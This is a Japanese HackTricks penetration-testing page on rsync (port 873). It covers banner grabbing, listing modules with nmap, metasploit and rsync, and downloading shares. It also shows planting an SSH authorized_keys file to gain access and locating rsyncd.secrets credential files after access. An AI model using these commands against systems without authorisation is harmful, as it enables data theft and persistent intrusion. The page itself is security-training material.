hacktricks/network-services-pentesting/873-pentesting-rsync.md
2023-07-07 23:42:27 +00:00

116 lines
8.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 873 - Pentesting Rsync
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## **基本情報**
> **rsync**は、コンピュータと外部ハードドライブ、およびネットワーク上のコンピュータ間での[ファイルの転送](https://en.wikipedia.org/wiki/File\_transfer)と[同期](https://en.wikipedia.org/wiki/File\_synchronization)を効率的に行うためのユーティリティです。これは、ファイルの[変更時刻](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))とサイズを比較することによって、[Unix-like](https://en.wikipedia.org/wiki/Unix-like)な[オペレーティングシステム](https://en.wikipedia.org/wiki/Operating\_system)で一般的に見られます。rsyncアルゴリズムは[デルタエンコーディング](https://en.wikipedia.org/wiki/Delta\_encoding)の一種であり、ネットワーク使用量を最小限に抑えるために使用されます。[Zlib](https://en.wikipedia.org/wiki/Zlib)は追加の[データ圧縮](https://en.wikipedia.org/wiki/Data\_compression)に使用される場合があります。また、セキュリティのために[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)または[stunnel](https://en.wikipedia.org/wiki/Stunnel)を使用することもできます。
[wikipedia](https://en.wikipedia.org/wiki/Rsync)から。
**デフォルトポート:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
## 列挙
### バナーと手動通信
rsyncは、ネットワーク上でファイルを同期するための効果的なツールです。rsyncサーバーが公開されている場合、以下の手法を使用して情報を収集できます。
1. バナーバージョンの取得rsyncサーバーに接続し、バナーバージョンを取得します。これにより、サーバーのバージョン情報が明らかになります。
2. マニュアル通信rsyncクライアントを使用して、rsyncサーバーに接続し、手動で通信を行います。これにより、サーバーの応答やサポートされているコマンドなどの情報を取得できます。
以下のコマンドを使用して、rsyncサーバーに接続し、バナーバージョンを取得します。
```
rsync <IP>:<PORT>
```
手動通信を行うには、以下のコマンドを使用します。
```
rsync <IP>::
```
これにより、サーバーの応答が表示されます。
```
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
### **共有フォルダの列挙**
**rsyncモジュールは基本的にディレクトリの共有です**。これらのモジュールは**オプションでパスワードで保護することもできます**。このオプションは利用可能なモジュールをリストし、必要に応じてモジュールへのアクセスにパスワードが必要かどうかを判断します\*\*:\*\*
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
隠されているものがあるかもしれないので、共有名がリストされないように設定されている可能性があります。\
アクセスするためには、(異なる)認証情報が必要ないくつかの共有名がリストされているかもしれません。したがって、常にすべてのリストされた名前にアクセスできるわけではなく、いくつかの名前にアクセスしようとすると「アクセスが拒否されました」というメッセージが表示されることに気付くでしょう。
### [**ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#rsync)
### 手動Rsync
モジュールのリストを取得したら、実行するアクションと認証が必要かどうかに応じて、いくつかの異なるオプションがあります。**認証が必要ない場合**は、共有フォルダを**リスト**することができます。
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
そして、以下のコマンドを使用して、すべてのファイルをローカルマシンに**コピー**します。
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
これは、マシン `<IP>` のディレクトリ `<shared_name>` からすべてのファイルを再帰的に `./rsync_shared` ディレクトリにローカルマシンに転送します。ファイルは「アーカイブ」モードで転送されるため、シンボリックリンク、デバイス、属性、パーミッション、所有権などが転送時に保持されます。
資格情報を持っている場合、以下のコマンドを使用して共有名をリストアップ/ダウンロードすることができます(パスワードはプロンプトに表示されます):
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
あなたはrsyncを使用していくつかのコンテンツをアップロードすることもできますたとえば、この場合、_**authorized\_keys**_ファイルをアップロードしてボックスへのアクセスを取得できます
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
## POST
rsyncdの設定ファイルを見つける
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
設定ファイル内には、パラメーター_secrets file = /path/to/file_が含まれていることがあります。このファイルには、rsyncdへの認証が許可されているユーザー名とパスワードが含まれている可能性があります。